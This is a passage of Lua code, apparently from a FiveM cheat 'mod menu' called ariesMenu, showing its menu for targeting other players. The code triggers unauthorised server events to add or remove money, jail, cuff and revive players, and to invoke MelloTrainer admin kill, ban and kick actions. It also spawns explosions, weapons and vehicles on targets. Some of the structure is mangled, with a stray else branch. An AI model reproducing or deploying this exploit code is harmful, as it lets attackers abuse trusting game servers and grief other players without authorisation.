(IsPedDeadOrDying(GetPlayerPed(i), 1) and "~r~DEAD" or "~g~ALIVE"),
'PlayerOptionsMenu') then
SelectedPlayer = i
end
end
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("PlayerOptionsMenu") then
ariesMenu.SetSubTitle("PlayerOptionsMenu", "Player Options
[" .. GetPlayerName(SelectedPlayer) .. "]")
if ariesMenu.Button("Spectate", (Spectating and
"~g~[SPECTATING]")) then
SpectatePlayer(SelectedPlayer)
elseif ariesMenu.Button("Teleport To Player") then
local Entity = IsPedInAnyVehicle(PlayerPedId(),
false) and GetVehiclePedIsUsing(PlayerPedId()) or PlayerPedId()
SetEntityCoords(Entity,
GetEntityCoords(GetPlayerPed(SelectedPlayer)), 0.0, 0.0, 0.0, false)
elseif ariesMenu.Button("~g~Give ~s~Money") then
local result = KeyboardInput("Enter amount of
money to give", "", 100000000)
if result then
TriggerServerEvent('esx:giveInventoryItem',
GetPlayerServerId(SelectedPlayer), "item_money", "money", result)
end
elseif ariesMenu.Button("~r~Remove ~s~Money") then
local result = KeyboardInput("Enter amount of
money to give", "", 100000000)
if result then
TriggerServerEvent('esx:removeInventoryItem',
GetPlayerServerId(SelectedPlayer), "item_money", "money", result)
end
elseif ariesMenu.Button("~r~Explode") then
AddExplosion(GetEntityCoords(GetPlayerPed(SelectedPlayer)), 2, 100000.0,
true, false, 100000.0)
elseif ariesMenu.Button("Revive ~g~ESX") then
TriggerServerEvent("esx_ambulancejob:revive",
GetPlayerServerId(SelectedPlayer))
TriggerServerEvent("whoapd:revive",
GetPlayerServerId(SelectedPlayer))
TriggerServerEvent("paramedic:revive",
GetPlayerServerId(SelectedPlayer))
TriggerServerEvent("ems:revive",
GetPlayerServerId(SelectedPlayer))
elseif ariesMenu.Button('Fire') then
FirePlayer(SelectedPlayer)
elseif ariesMenu.Button("Jail") then
TriggerServerEvent("esx_jailer:sendToJail",
GetPlayerServerId(SelectedPlayer), 50000)
TriggerServerEvent("esx_jail:sendToJail",
GetPlayerServerId(SelectedPlayer), 5000)
TriggerServerEvent("js:jailuser",
GetPlayerServerId(SelectedPlayer), 5000, "dude weed")
elseif ariesMenu.Button("Unjail") then
TriggerServerEvent("esx_jailer:sendToJail",
GetPlayerServerId(SelectedPlayer), 0)
TriggerServerEvent("esx_jail:sendToJail",
GetPlayerServerId(SelectedPlayer), 0)
TriggerServerEvent("esx_jail:unjailQuest",
GetPlayerServerId(SelectedPlayer))
TriggerServerEvent("js:removejailtime",
GetPlayerServerId(SelectedPlayer))
elseif ariesMenu.Button("~g~Give All Weapons") then
for i = 1, #allWeapons do
GiveWeaponToPed(GetPlayerPed(SelectedPlayer),
GetHashKey(allWeapons[i]), 1000, false, false)
end
elseif ariesMenu.MenuButton("Weapon Menu",
"SingleWepPlayer") then
elseif ariesMenu.Button("Spawn Vehicle") then
local ped = GetPlayerPed(SelectedPlayer)
local ModelName = KeyboardInput("Enter Vehicle Spawn
Name", "", 100)
local veh =
CreateVehicle(GetHashKey(ModelName), GetEntityCoords(ped), GetEntityHeading(ped),
true, true)
else
drawNotification("~r~Model is not valid!")
end
elseif ariesMenu.Button("Cuff ~g~ESX") then
TriggerServerEvent("esx_policejob:handcuff",
GetPlayerPed(SelectedPlayer))
elseif ariesMenu.Button("Kick Vehicle") then
ClearPedTasksImmediately(GetPlayerPed(SelectedPlayer))
elseif ariesMenu.Button("~r~MelloTrainer ~s~KILL") then
TriggerServerEvent("mellotrainer:s_adminKill",
GetPlayerServerId(SelectedPlayer))
elseif ariesMenu.Button("~r~MelloTrainer ~s~BAN") then
TriggerServerEvent( 'mellotrainer:adminTempBan',
GetPlayerServerId(SelectedPlayer))
elseif ariesMenu.Button("~r~MelloTrainer ~s~KICK") then
TriggerServerEvent( 'mellotrainer:adminKick',
GetPlayerServerId(SelectedPlayer), "Kicked: You have been kicked from the
server." )
end
ariesMenu.Display()
elseif ariesMenu.IsMenuOpened("SingleWepPlayer") then
for i = 1, #allWeapons do
if ariesMenu.Button(allWeapons[i]) then
GiveWeaponToPed(GetPlayerPed(SelectedPlayer),
GetHashKey(allWeapons[i]), 1000, false, true)
end
end
ariesMenu.Display()
elseif IsDisabledControlPressed(0, 161) then
ariesMenu.OpenMenu("MainMenu")
end
Citizen.Wait(0)
end
end)